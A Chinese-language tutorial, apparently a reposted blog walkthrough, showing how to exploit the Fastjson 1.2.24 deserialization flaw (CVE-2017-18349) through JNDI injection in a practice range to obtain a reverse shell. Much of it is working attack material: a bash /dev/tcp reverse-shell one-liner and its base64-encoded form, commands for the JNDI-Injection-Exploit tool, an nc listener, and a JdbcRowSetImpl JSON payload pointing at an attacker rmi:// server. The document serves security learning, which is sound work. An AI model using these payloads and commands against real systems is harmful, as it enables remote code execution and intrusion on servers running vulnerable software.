在FastJson组件1.2.24及之前版本存在远程代码执行漏洞(CVE-2017-18349)。
基础知识:
Fastjson是阿里巴巴公司开发的一个Java语言编写的高性能的JSON处理器。它采用一种“假定有序快速匹配”的算法,号称是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。它提供两个主要接口toJSONString()和 parseObject()进行序列化和反序列化。
漏洞利用的两种方式:
基于Templateslmpl
基于JNDI
本文从JNDI的注入方式来实现反弹shell。
靶场环境说明
通过burpsuite可以抓到提交的报文:
在Repeater处修改str的值可以进行注入验证
反弹shell准备
1、设计一个shell命令,如下,更新vps的IP以及端口
bash -i >&/dev/tcp/xxx.xxx.xxx.xxx/port 0>&1
这里需要注意shell命令里不要空格或换行指令,在>&后面不要有空格。否则反弹shell的时候命令执行会报异常退出。
通过base64的bash加密,通过多种格式在线加密解密 - ASCII\十进制\十六进制\二进制在线转换工具可简单实现shell命令的base64加密。
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvcG9ydCAwPiYx}|{base64,-d}|{bash,-i}
2、下载JNDI注入工具,建立rmi、ldap服务
JNDI-Injection-Exploit工具下载路径:GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)
JNDI介绍:
JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于 Fastjson、Jackson等相关漏洞的验证。
JNDI注入利用工具使用:
可执行程序为jar包,在命令行中运行以下命令:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
其中:
- -C - 远程class文件中要执行的命令。(可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")
- -A - 服务器地址,可以是IP地址或者域名。(可选项 , 默认地址是第一个网卡地址)
注意:
- 要确保 1099、1389、8180端口可用,不被其他程序占用。如果只希望RMISERVER的话,就只要开放1099端口。或者你也可以在run.ServerStart类26~28行更改默认端口。
- 命令会被作为参数传入Runtime.getRuntime().exec(),所以需要确保命令传入exec()方法可执行。bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C "bash -c ..."
示例:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "command" -A "ip-address"
3、启动JNDI注入工具,获得rmi服务或ldap服务的链接
4、通过nc启动监听步骤1中的端口,如下图
nc -lvvp [port]
5、fastJson反序列化漏洞的注入payload
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx.xxx.xxx.xxx:1099/731tna","autoCommit":true}}
rmi这一段的值为JNDI注入工具生成的链接。
准备好以上后,返回burpSuite里通过Repeater来触发shell。
反弹shell执行
在burpsuite中的Repeater触发注入的payload
发送payload,在JNDI启动的服务监听中就可以获取到触发的结果,在nc的监听中可以看见反弹shell成功。
以上就是基于JNDI注入的反弹shell使用。
版权归原作者 Hapen_Lu 所有, 如有侵权,请联系我们删除。